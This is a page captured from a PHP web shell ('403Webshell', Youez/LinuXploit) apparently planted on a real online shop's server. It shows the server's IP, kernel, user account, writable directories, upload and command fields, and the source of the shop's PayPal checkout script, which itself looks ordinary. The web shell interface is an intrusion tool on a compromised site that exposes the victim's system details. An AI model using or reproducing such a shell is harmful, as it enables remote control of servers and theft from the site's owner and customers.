403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/GXModules/Gambio/Hub/Build/Shop/Javascript/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/GXModules/Gambio/Hub/Build/Shop/Javascript/PayPalSmartButton.min.js
"use strict";window.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=Array.prototype.forEach);var payPalButtonSettings={},payPalText={},currentScript=document.currentScript,initDisplayModeECS_ButtonReplace=function(){var t=document.querySelector("#paypal-button-container"),e=document.querySelector("table.order-total tr.footer.total"),n=document.createElement("tr"),o=document.createElement("td");o.colSpan="2",o.style.width="100%",o.style.borderTop="none",o.appendChild(t),n.appendChild(o),e.parentNode.appendChild(n),e.querySelectorAll("td").forEach(function(t){t.style.paddingBottom="15px"})},initDisplayModeECS=function(){if(window.location.search.match(/(\?|&)display_mode=ecs($|&)/)){var t=document.querySelector("div.checkout-buttons");t&&(t.style.display="none");var e=document.querySelector("div.shopping-cart-button a.button-submit");null===e&&(e=document.querySelector("tr.checkout-button")),e&&(e.style.display="none");var n=document.querySelector("div.shopping-cart-button");n&&n.classList.add("paypal-ecs-mode");var o=document.querySelector("div.paypalinstallmentcontainer");o&&(o.style.display="none"),initDisplayModeECS_ButtonReplace()}},initJSSDKPayPalButton=function t(){initDisplayModeECS(),paypal.Buttons({style:payPalButtonSettings.style,createOrder:function(t,e){return $.ajax({url:payPalButtonSettings.createPaymentUrl,dataType:"json"}).then(function(t){var e=void 0;if(!t.payment)return!1;for(var n in t.payment.links)"approval_url"===t.payment.links[n].rel&&(e=t.payment.links[n].href.match(/EC-\w+/)[0]);return e})},onApprove:function(t,e){$.ajax({url:payPalButtonSettings.authorizedPaymentUrl,method:"post",headers:{"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"},data:"paymentID="+t.paymentID+"&payerID="+t.payerID}).then(function(t){console.debug(t),document.location=payPalButtonSettings.checkoutUrl})},onError:function(t){var e=document.querySelector("#paypal-button-container"),n=document.querySelector("div.ecs_intro");if(e){var o=document.querySelector("div.paypal-error");o||(o=document.createElement("div"),o.classList.add("paypal-error"),o.classList.add("alert"),o.classList.add("alert-warning"),o.style.textAlign="left",o.style.color="#555"),o.innerText=payPalText.paypalUnavailable+" ";var a=document.querySelector("div.shopping-cart-button");if(a&&a.classList.contains("paypal-ecs-mode")){var r=window.location.toString().replace("display_mode=ecs","display_mode=normal"),i=document.createElement("a");i.setAttribute("href",r),i.innerText=payPalText.errorContinue,o.append(i)}e.parentNode.append(o),e.style.display="none"}n&&(n.style.display="none")}}).render("#paypal-button-container");var e=document.querySelector("#paypal-button-container"),n=new MutationObserver(function(e,n){e.forEach(function(e){e.removedNodes.length>0&&(console.info("re-init PayPal buttons"),t())})});n.observe(e,{childList:!0})};document.addEventListener("DOMContentLoaded",function(){var t=document.createElement("script");t.src=payPalButtonSettings.jssrc,t.onload=initJSSDKPayPalButton,currentScript?currentScript.parentNode.insertBefore(t,currentScript):document.querySelector("script:last-of-type").parentNode.appendChild(t)});

Youez - 2016 - github.com/yon3zu
LinuXploit